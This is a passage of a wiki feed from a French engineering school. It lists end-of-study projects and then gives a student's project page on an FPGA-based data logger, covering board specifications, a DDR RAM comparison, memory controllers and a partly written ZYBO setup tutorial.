  &amp;lt;td&amp;gt; Guillaume Renault / Alexandre Boé / Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;15/12/2015, 00:35, [[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P32 Récupération d'énergie pour balise BLE]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin Sultana &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Frédéric Giraud / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 13/12/2015, 19:31, [[Fichier:CR Miprojet_Sultana.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jérôme Bailet / Mehdi Zeggaï &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Laurent Grisoni / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 10:54, [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 25/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P35 Robot de test pour le sport de Golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Deborah Saunders &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi Merzouki &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:07&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Sandra HAGE CHEHADE / Thomas DANEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Vincent COELEN / Rochdi MERZOUKI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 15/12/2015, 12:02&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Louis CHAUCHARD / Romain IMBERT &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:21&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P13 Plateforme expérimentation IOT]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; ROCHE François &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; 14/12/2015, 19:37, [[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 22/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Implantation d'un filtre FIR-FX-LMS sur FPGA pour l'annulation de Bruit Acoustique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Bown Alexander / Piat Valentin &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Pilulier automatique]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Manouk Simon / Corentin Duplouy &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; NA &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; RDV L. Engels le 23/02 &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27262</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27262"/>
				<updated>2016-02-16T16:23:06Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Création d'une carte bootable sur ZYBO */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
